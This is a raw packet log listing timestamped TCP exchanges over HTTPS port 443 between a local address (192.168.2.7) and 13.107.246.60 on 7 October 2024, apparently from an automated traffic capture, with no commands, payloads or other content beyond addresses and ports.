Oct 7, 2024 06:44:42.815749884 CEST	49902	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.815812111 CEST	443	49902	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.816046953 CEST	49902	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.816061020 CEST	443	49902	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.833940029 CEST	443	49901	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.834306955 CEST	49901	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.834328890 CEST	443	49901	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.834878922 CEST	49901	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.834889889 CEST	443	49901	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.836759090 CEST	443	49903	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.837177038 CEST	49903	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.837189913 CEST	443	49903	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.837549925 CEST	49903	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.837553978 CEST	443	49903	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.854228020 CEST	443	49904	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.854954958 CEST	49904	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.854954958 CEST	49904	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.854974985 CEST	443	49904	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.854998112 CEST	443	49904	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.894643068 CEST	443	49900	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.894731045 CEST	443	49900	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.894783020 CEST	49900	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.894927025 CEST	49900	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.894943953 CEST	443	49900	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.900938988 CEST	49905	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.900990009 CEST	443	49905	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.901063919 CEST	49905	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.901187897 CEST	49905	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.901202917 CEST	443	49905	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.914031982 CEST	443	49902	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.914308071 CEST	443	49902	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.914378881 CEST	49902	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.914378881 CEST	49902	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.914417028 CEST	49902	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.914433956 CEST	443	49902	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.916968107 CEST	49906	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.916990995 CEST	443	49906	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.917054892 CEST	49906	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.917161942 CEST	49906	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.917171001 CEST	443	49906	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.936551094 CEST	443	49901	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.936783075 CEST	443	49901	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.936861038 CEST	49901	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.937371969 CEST	443	49903	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.937403917 CEST	443	49903	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.937453985 CEST	443	49903	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.937458038 CEST	49903	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.937499046 CEST	49903	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.940850019 CEST	49903	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.940859079 CEST	443	49903	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.940869093 CEST	49903	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.940872908 CEST	443	49903	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.941024065 CEST	49901	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.941061020 CEST	443	49901	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.941077948 CEST	49901	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.941085100 CEST	443	49901	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.945050955 CEST	49907	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.945084095 CEST	443	49907	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.945149899 CEST	49907	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.945278883 CEST	49907	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.945291996 CEST	443	49907	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.945605040 CEST	49908	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.945630074 CEST	443	49908	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.945686102 CEST	49908	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.945770025 CEST	49908	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.945780993 CEST	443	49908	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.956394911 CEST	443	49904	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.956535101 CEST	443	49904	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.956599951 CEST	49904	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.956667900 CEST	49904	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.956685066 CEST	443	49904	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.956712008 CEST	49904	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.956717014 CEST	443	49904	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.958852053 CEST	49909	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.958904028 CEST	443	49909	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.958975077 CEST	49909	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.959125042 CEST	49909	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.959144115 CEST	443	49909	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.535762072 CEST	443	49905	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.551086903 CEST	443	49906	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.574343920 CEST	49905	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.574368000 CEST	443	49905	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.574861050 CEST	49905	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.574866056 CEST	443	49905	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.574971914 CEST	49906	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.574979067 CEST	443	49906	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.575541019 CEST	49906	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.575546026 CEST	443	49906	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.585277081 CEST	443	49907	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.587151051 CEST	49907	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.587168932 CEST	443	49907	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.597306013 CEST	49907	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.597323895 CEST	443	49907	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.600512981 CEST	443	49908	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.608325958 CEST	49908	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.608338118 CEST	443	49908	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.623652935 CEST	443	49909	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.643353939 CEST	49908	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.643368959 CEST	443	49908	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.670768976 CEST	443	49905	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.670798063 CEST	443	49905	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.670847893 CEST	443	49905	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.671015978 CEST	49905	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.671015978 CEST	49905	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.671353102 CEST	443	49906	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.671408892 CEST	443	49906	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.671447992 CEST	49906	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.678092003 CEST	49909	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.692351103 CEST	443	49907	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.693053961 CEST	443	49907	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.693100929 CEST	443	49907	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.693120956 CEST	49907	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.693285942 CEST	49907	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.726955891 CEST	49909	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.726989985 CEST	443	49909	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.727417946 CEST	49909	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.727431059 CEST	443	49909	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.727579117 CEST	49905	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.727579117 CEST	49905	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.727613926 CEST	443	49905	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.727623940 CEST	443	49905	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.727638960 CEST	49906	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.727646112 CEST	443	49906	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.727653980 CEST	49906	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.727658987 CEST	443	49906	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.729307890 CEST	49907	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.729334116 CEST	443	49907	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.729350090 CEST	49907	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.729357958 CEST	443	49907	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.731849909 CEST	49910	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.731919050 CEST	443	49910	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.731977940 CEST	49910	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.733705997 CEST	49911	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.733733892 CEST	443	49911	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.733786106 CEST	49911	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.733961105 CEST	49910	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.733993053 CEST	443	49910	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.735444069 CEST	49912	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.735560894 CEST	443	49912	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.735593081 CEST	49911	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.735605955 CEST	443	49911	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.735632896 CEST	49912	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.735833883 CEST	49912	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.735853910 CEST	443	49912	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.740351915 CEST	443	49908	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.740513086 CEST	443	49908	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.740571022 CEST	49908	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.741621971 CEST	49908	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.741636992 CEST	443	49908	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.741647005 CEST	49908	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.741652012 CEST	443	49908	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.745904922 CEST	49913	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.745929003 CEST	443	49913	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.746000051 CEST	49913	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.746118069 CEST	49913	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.746131897 CEST	443	49913	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.826955080 CEST	443	49909	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.827019930 CEST	443	49909	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.827124119 CEST	443	49909	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.827215910 CEST	49909	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.827217102 CEST	49909	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.843118906 CEST	49909	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.843118906 CEST	49909	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.843156099 CEST	443	49909	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.843185902 CEST	443	49909	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.903803110 CEST	49914	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.903841972 CEST	443	49914	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:43.903899908 CEST	49914	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.904645920 CEST	49914	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:43.904658079 CEST	443	49914	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.369337082 CEST	443	49911	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.370014906 CEST	49911	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.370037079 CEST	443	49911	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.370507002 CEST	49911	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.370512009 CEST	443	49911	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.373507977 CEST	443	49910	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.373805046 CEST	49910	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.373851061 CEST	443	49910	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.374138117 CEST	49910	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.374145031 CEST	443	49910	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.382009983 CEST	443	49913	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.382411957 CEST	49913	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.382447004 CEST	443	49913	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.382826090 CEST	49913	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.382837057 CEST	443	49913	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.384077072 CEST	443	49912	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.384387016 CEST	49912	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.384409904 CEST	443	49912	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.384740114 CEST	49912	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.384744883 CEST	443	49912	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.468822956 CEST	443	49911	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.468843937 CEST	443	49911	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.468926907 CEST	443	49911	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.468986034 CEST	49911	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.469321966 CEST	49911	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.469321966 CEST	49911	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.469321966 CEST	49911	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.471451044 CEST	443	49910	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.471560001 CEST	443	49910	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.471616983 CEST	49910	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.471716881 CEST	49910	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.471743107 CEST	443	49910	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.471759081 CEST	49910	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.471765995 CEST	443	49910	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.472434998 CEST	49915	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.472481012 CEST	443	49915	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.472553015 CEST	49915	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.472692013 CEST	49915	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.472703934 CEST	443	49915	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.473676920 CEST	49916	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.473707914 CEST	443	49916	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.473763943 CEST	49916	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.473887920 CEST	49916	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.473898888 CEST	443	49916	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.480593920 CEST	443	49913	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.480825901 CEST	443	49913	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.480871916 CEST	443	49913	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.480884075 CEST	49913	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.480931997 CEST	49913	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.481009007 CEST	49913	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.481033087 CEST	443	49913	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.481050014 CEST	49913	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.481057882 CEST	443	49913	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.483005047 CEST	49917	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.483040094 CEST	443	49917	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.483268976 CEST	49917	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.483268976 CEST	49917	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.483305931 CEST	443	49917	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.488188028 CEST	443	49912	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.488215923 CEST	443	49912	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.488266945 CEST	49912	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.488291025 CEST	443	49912	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.488442898 CEST	49912	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.488450050 CEST	443	49912	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.488466024 CEST	443	49912	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.488470078 CEST	49912	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.488482952 CEST	443	49912	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.490430117 CEST	49918	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.490441084 CEST	443	49918	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.490519047 CEST	49918	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.490700006 CEST	49918	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.490716934 CEST	443	49918	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.554713964 CEST	443	49914	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.555242062 CEST	49914	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.555280924 CEST	443	49914	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.555697918 CEST	49914	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.555713892 CEST	443	49914	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.661295891 CEST	443	49914	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.661439896 CEST	443	49914	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.661550045 CEST	49914	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.663829088 CEST	49914	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.663849115 CEST	443	49914	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.663863897 CEST	49914	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.663871050 CEST	443	49914	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.666775942 CEST	49919	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.666826010 CEST	443	49919	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.666924000 CEST	49919	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.667063951 CEST	49919	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.667079926 CEST	443	49919	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:44.771842957 CEST	49911	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:44.771858931 CEST	443	49911	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.107346058 CEST	443	49916	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.107929945 CEST	49916	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.107964993 CEST	443	49916	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.108378887 CEST	49916	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.108383894 CEST	443	49916	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.123279095 CEST	443	49918	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.123806000 CEST	49918	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.123838902 CEST	443	49918	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.124327898 CEST	49918	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.124336958 CEST	443	49918	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.135272980 CEST	443	49915	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.135714054 CEST	49915	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.135741949 CEST	443	49915	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.136032104 CEST	49915	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.136040926 CEST	443	49915	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.145170927 CEST	443	49917	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.145524979 CEST	49917	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.145543098 CEST	443	49917	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.145931005 CEST	49917	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.145936966 CEST	443	49917	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.217897892 CEST	443	49916	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.217993975 CEST	443	49916	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.218055010 CEST	49916	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.218204975 CEST	49916	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.218230009 CEST	443	49916	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.218241930 CEST	49916	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.218247890 CEST	443	49916	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.220820904 CEST	49920	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.220865011 CEST	443	49920	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.220941067 CEST	49920	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.221098900 CEST	49920	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.221112013 CEST	443	49920	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.226058960 CEST	443	49918	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.226281881 CEST	443	49918	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.226419926 CEST	49918	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.226458073 CEST	49918	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.226473093 CEST	443	49918	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.226490974 CEST	49918	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.226499081 CEST	443	49918	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.229003906 CEST	49921	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.229048014 CEST	443	49921	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.229108095 CEST	49921	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.229250908 CEST	49921	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.229260921 CEST	443	49921	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.238127947 CEST	443	49915	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.238245964 CEST	443	49915	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.238291979 CEST	443	49915	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.238315105 CEST	49915	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.238357067 CEST	49915	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.238539934 CEST	49915	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.238549948 CEST	443	49915	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.238570929 CEST	49915	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.238575935 CEST	443	49915	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.240873098 CEST	49922	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.240891933 CEST	443	49922	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.240989923 CEST	49922	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.241116047 CEST	49922	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.241126060 CEST	443	49922	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.248986006 CEST	443	49917	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.249022007 CEST	443	49917	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.249064922 CEST	49917	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.249077082 CEST	443	49917	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.249115944 CEST	49917	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.249186993 CEST	49917	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.249197006 CEST	443	49917	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.249224901 CEST	49917	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.249232054 CEST	443	49917	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.251152992 CEST	49923	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.251169920 CEST	443	49923	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.251247883 CEST	49923	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.251364946 CEST	49923	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.251375914 CEST	443	49923	13.107.246.60	192.168.2.7
